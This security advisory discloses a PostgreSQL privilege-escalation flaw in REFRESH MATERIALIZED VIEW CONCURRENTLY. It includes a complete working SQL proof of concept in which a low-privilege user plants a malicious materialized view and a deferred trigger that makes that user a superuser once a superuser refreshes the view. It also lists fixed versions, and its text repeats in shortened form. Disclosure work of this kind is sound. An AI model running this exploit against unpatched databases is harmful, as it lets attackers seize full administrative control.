Summary
When executing REFRESH MATERIALIZED VIEW CONCURRENTLY the UserID is set to the relation owner and the flag SECURITY_RESTRICTED_OPERATION is set. During the concurrent path the previous values are restored to their original values to allow for a CREATE TEMP TABLE SQL command to execute. It’s possible to manipulate the tables that are used in the CREATE statement such that user SQL is executed as a user other than the relation owner leading to Privilege Escalation.
Severity
Moderate - A Superuser (or victim user) would need to execute REFRESH MATERIALIZED VIEW CONCURRENTLY on the malicious view. The security context from where the refresh is executed cannot be SECURITY_RESTRICTED_OPERATION.
Proof of Concept
The commands below should be executed as the user test.
CREATE TABLE public.seen(i int);
CREATE OR REPLACE FUNCTION elevate ()
RETURNS TRIGGER
AS $$
BEGIN
ALTER USER test WITH Superuser;
RETURN NEW;
END; $$ LANGUAGE PLPGSQL;
CREATE TABLE defer(i int);
CREATE CONSTRAINT TRIGGER ai
AFTER INSERT ON public.defer
INITIALLY DEFERRED
FOR EACH ROW
EXECUTE PROCEDURE public.elevate();
CREATE OR REPLACE FUNCTION payload()
RETURNS int
AS $$
DECLARE
tnsp text;
tname text;
i int;
BEGIN
SELECT schemaname, replace(tablename, '_2', '')
FROM pg_tables
WHERE schemaname LIKE 'pg_temp_%' INTO tnsp, tname;
SELECT COUNT(*) from public.seen INTO i;
IF i > 1 THEN
-- Need to move recreate the table for the DROP TABLE
EXECUTE FORMAT ('ALTER VIEW %I.%I RENAME TO aaa', tnsp, tname);
EXECUTE FORMAT ('CREATE TABLE %I.%I(i int, j int) ', tnsp, tname);
INSERT INTO public.defer VALUES (1);
ELSE
INSERT INTO public.seen VALUES (1);
END IF;
RETURN i;
END;
$$ LANGUAGE plpgsql;
CREATE OR REPLACE FUNCTION ins()
RETURNS TABLE (
i int,
j int
) AS $$
DECLARE
tnsp text;
tname text;
rel oid;
ind record;
BEGIN
SELECT schemaname, tablename
FROM pg_tables
WHERE schemaname LIKE 'pg_temp_%' INTO tnsp, tname;
SELECT oid FROM pg_class where relname = tname into rel;
SELECT * FROM pg_index WHERE indrelid = rel into ind;
BEGIN
EXECUTE FORMAT ('CREATE RULE "_RETURN"
AS ON SELECT
TO %I.%I
DO INSTEAD
SELECT payload() as i, 1 as j',tnsp, tname);
EXECUTE FORMAT ('ALTER VIEW %I.%I
RENAME COLUMN j to ctid',
tnsp,tname);
EXCEPTION WHEN OTHERS THEN
RAISE NOTICE 'ins: %', SQLERRM;
END;
RETURN QUERY SELECT 1, 2;
END;
$$ language plpgsql;
CREATE MATERIALIZED VIEW "matview"
AS (SELECT i, j from ins() WHERE i != i);
CREATE UNIQUE INDEX mv_i ON matview (i);
As a Superuser refresh the view
# REFRESH MATERIALIZED VIEW CONCURRENTLY matview;
Observe that the user test is now a Superuser
#d\u test
List of roles
Role name | Attributes | Member of
-----------+----------------------+-----------
test | Superuser, Create DB | {}
Further Analysis
When entering ExecRefreshMatView the user and security context are saved and then set to the relowner with SECURITY_RESTRICTED_OPERATION.
/*
* Switch to the owner's userid, so that any functions are run as that
* user. Also lock down security-restricted operations and arrange to
* make GUC variable changes local to this command.
*/
GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(relowner,save_sec_context|SECURITY_RESTRICTED_OPERATION);
A new table will be created and then populated with data.
OIDNewHeap = make_new_heap(matviewOid, tableSpace, relpersistence,
ExclusiveLock);
LockRelationOid(OIDNewHeap, AccessExclusiveLock);
dest = CreateTransientRelDestReceiver(OIDNewHeap);
/* Generate the data, if wanted. */
if (!stmt->skipData)
processed = refresh_matview_datafill(dest, dataQuery, queryString);
refresh_matview_datafill will cause the query we created the mat view as to run. During this time we are able to manipulate OIDNewHeap to be a view instead of a table. We achieve this by using a SELECT RULE. Even though the table is open this still succeeds.
CREATE RULE "_RETURN"
AS ON SELECT
TO pg_temp3.pg_temp_1449929
DO INSTEAD
SELECT payload() as i, 1 as j;
We can get the table name from the catalog. Now whenever this table is used in a SELECT our payload will execute.
For concurrent refreshes refresh_by_match_merge will be called. Note that this takes in the saved security context as a parameter i.e. before SECURITY_RESTRICTED_OPERATION was added.
refresh_by_match_merge(matviewOid, OIDNewHeap, relowner, save_sec_context);
The save_sec_context is then used to run a CREATE TEMP TABLE command. The full query will be similar to the following.
CREATE TEMP TABLE pg_temp_3.pg_temp_1449929_2 AS
SELECT mv.ctid AS tid,
newdata.*::pg_temp_3.pg_temp_1449929 AS newdata
FROM public.matview mv
FULL JOIN pg_temp_3.pg_temp_1449929 newdata
ON (newdata.i OPERATOR(pg_catalog.=) mv.i AND newdata.* OPERATOR(pg_catalog.*=) mv.*)
WHERE newdata.* IS NULL OR mv.* IS NULL ORDER BY tid
The temp table that we created into a view is used which will cause our function payload to execute due to the SELECT rule. This context won’t have SECURITY_RESTRICTED_OPERATION but does have SECURITY_LOCAL_USERID_CHANGE so we can’t simply use SET ROLE. In the PoC we cause a deferred trigger in a table insert to fire which will execute gaining privilege escalation.
To have the query succeed we also need to alter the view to have a column ctid which is a reserved name in tables, but not views. We also need to ensure the following DROP TABLE commands succeed by recreating the table the code expects.
Fixed in 15.6 - postgres/postgres@5a9167c
Fixed in 14.11 - postgres/postgres@f4f2883
Fixed in 13.14 - postgres/postgres@d541ce3
Fixed in 12.18 - postgres/postgres@2699fc0
Timeline
Date reported: 12/05/23
Date fixed:
Date disclosed: 03/19/24
Summary
When executing REFRESH MATERIALIZED VIEW CONCURRENTLY the UserID is set to the relation owner and the flag SECURITY_RESTRICTED_OPERATION is set. During the concurrent path the previous values are restored to their original values to allow for a CREATE TEMP TABLE SQL command to execute. It’s possible to manipulate the tables that are used in the CREATE statement such that user SQL is executed as a user other than the relation owner leading to Privilege Escalation.
Severity
Moderate - A Superuser (or victim user) would need to execute REFRESH MATERIALIZED VIEW CONCURRENTLY on the malicious view. The security context from where the refresh is executed cannot be SECURITY_RESTRICTED_OPERATION.
Proof of Concept
The commands below should be executed as the user test.
As a Superuser refresh the view
# REFRESH MATERIALIZED VIEW CONCURRENTLY matview;
Observe that the user test is now a Superuser
Further Analysis
When entering ExecRefreshMatView the user and security context are saved and then set to the relowner with SECURITY_RESTRICTED_OPERATION.
A new table will be created and then populated with data.
refresh_matview_datafill will cause the query we created the mat view as to run. During this time we are able to manipulate OIDNewHeap to be a view instead of a table. We achieve this by using a SELECT RULE. Even though the table is open this still succeeds.
We can get the table name from the catalog. Now whenever this table is used in a SELECT our payload will execute.
For concurrent refreshes refresh_by_match_merge will be called. Note that this takes in the saved security context as a parameter i.e. before SECURITY_RESTRICTED_OPERATION was added.
The save_sec_context is then used to run a CREATE TEMP TABLE command. The full query will be similar to the following.
The temp table that we created into a view is used which will cause our function payload to execute due to the SELECT rule. This context won’t have SECURITY_RESTRICTED_OPERATION but does have SECURITY_LOCAL_USERID_CHANGE so we can’t simply use SET ROLE. In the PoC we cause a deferred trigger in a table insert to fire which will execute gaining privilege escalation.
To have the query succeed we also need to alter the view to have a column ctid which is a reserved name in tables, but not views. We also need to ensure the following DROP TABLE commands succeed by recreating the table the code expects.
Fixed in 15.6 - postgres/postgres@5a9167c
Fixed in 14.11 - postgres/postgres@f4f2883
Fixed in 13.14 - postgres/postgres@d541ce3
Fixed in 12.18 - postgres/postgres@2699fc0
Timeline
Date reported: 12/05/23
Date fixed:
Date disclosed: 03/19/24